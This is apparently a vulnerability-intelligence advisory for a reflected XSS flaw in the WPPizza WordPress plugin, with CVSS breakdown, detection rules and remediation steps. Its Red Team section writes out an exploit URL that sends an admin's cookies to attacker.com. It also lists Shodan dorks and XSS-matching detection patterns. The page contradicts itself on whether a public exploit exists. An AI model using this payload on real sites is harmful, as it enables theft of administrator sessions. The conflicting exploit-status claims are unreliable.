☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Ollybach logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-26991

CVE-2025-26991 Cross-Site Scripting in Ollybach
📅 PUBLISHED: 2025-02-25 15:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.11%
👁️
0.11% probability
2.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1203
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-26991 is a reflected Cross-Site Scripting (XSS) vulnerability in the WPPizza WordPress plugin, developed by Ollybach. The flaw exists in versions up to and including 3.19.4, where user-supplied input is not properly neutralized during web page generation. An attacker can craft a malicious URL that, when visited by an authenticated administrator, executes arbitrary JavaScript in the context of the WordPress admin panel. This can lead to session hijacking, privilege escalation, or defacement. The vulnerability is classified as Reflected XSS (CWE-79) with a CVSS score of 7.1 (High). No public exploit code or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel and apply any security patches as soon as they are released. Since the plugin is not managed via NPM, PyPI, Go, or Ruby, no additional package manager security concerns apply.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack is launched remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – The attacker does not need authentication.
  • User Interaction (UI): Required (R) – The victim must click the malicious link.
  • Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): Low (L) – Limited impact on availability.

Threat Level: High (7.1) – Exploitation requires user interaction but can lead to admin-level compromise.

Deep Dive & Mechanics

The WPPizza plugin fails to sanitize or escape user-controlled parameters before reflecting them in the HTML output. An attacker can inject arbitrary JavaScript via a crafted URL parameter (e.g., ?page=wppizza&s=<script>alert(1)</script>). When the victim (typically an admin) visits this URL, the script executes in the context of the WordPress admin dashboard. This can be used to steal session cookies, perform actions on behalf of the admin, or inject malicious content.

The vulnerability is triggered in the plugin’s admin pages where user input is directly echoed without proper escaping. The lack of esc_html() or wp_kses() functions allows the injection.

Vulnerable vs. Patched Code

Vulnerable Code (WPPizza <= 3.19.4):

// In admin page rendering
echo '<input type="text" name="s" value="' . $_GET['s'] . '" />';

Patched Code (Hypothetical):

// Properly escape output
echo '<input type="text" name="s" value="' . esc_attr( $_GET['s'] ) . '" />';

The patched version uses esc_attr() to encode special characters, preventing XSS.

Exploitation & Lab Setup

Red Team

  1. Setup: Install WordPress with WPPizza plugin version 3.19.4.
  2. Craft Payload: Create a URL with a malicious script parameter:
    http://target/wp-admin/admin.php?page=wppizza&s=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  3. Deliver: Send the link to an authenticated admin via email or social engineering.
  4. Execute: When the admin clicks the link, the script executes, exfiltrating cookies to the attacker’s server.

No public exploit code is available.

Blue Team

  1. Monitor Logs: Look for unusual admin.php requests with page=wppizza and suspicious s parameters.
  2. WAF Rules: Block requests containing <script> or onerror= in the s parameter.
  3. User Training: Educate admins not to click suspicious links.

Indicators of Compromise (IOCs)

  • Network: HTTP requests to /wp-admin/admin.php?page=wppizza&s= containing JavaScript payloads.
  • Logs: Access logs showing admin.php with page=wppizza and encoded script tags.
  • File System: No file changes expected; attack is reflected.

Detection Engineering

YARA Rule

rule CVE_2025_26991_WPPizza_XSS {
    meta:
        description = "Detects reflected XSS attempts against WPPizza plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26991"
    strings:
        $param = "page=wppizza" nocase
        $xss1 = /<script[^>]*>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
    condition:
        $param and any of ($xss*)
}

Sigma Rule

title: Reflected XSS Attempt Against WPPizza Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting the WPPizza WordPress plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains: 
            - "page=wppizza"
            - "s=<script"
            - "s=onerror"
    condition: selection
falsepositives:
    - Legitimate use of script tags in search (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-26991 WPPizza Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=wppizza"; http_uri; pcre:"/(<script|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Disable the WPPizza plugin until a patch is released.
  2. Short-term: Implement a Web Application Firewall (WAF) rule to block malicious s parameters.
  3. Long-term: Apply the official patch from the plugin developer when available. If no patch is released, consider replacing the plugin with an alternative.
  4. Validation: Ensure all user input is properly escaped using WordPress functions like esc_attr() and esc_html().

Valters IT
Securing digital frontiers, one CVE at a time.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wppizza"
http.html:"wp-content/plugins/wppizza"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-26991/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.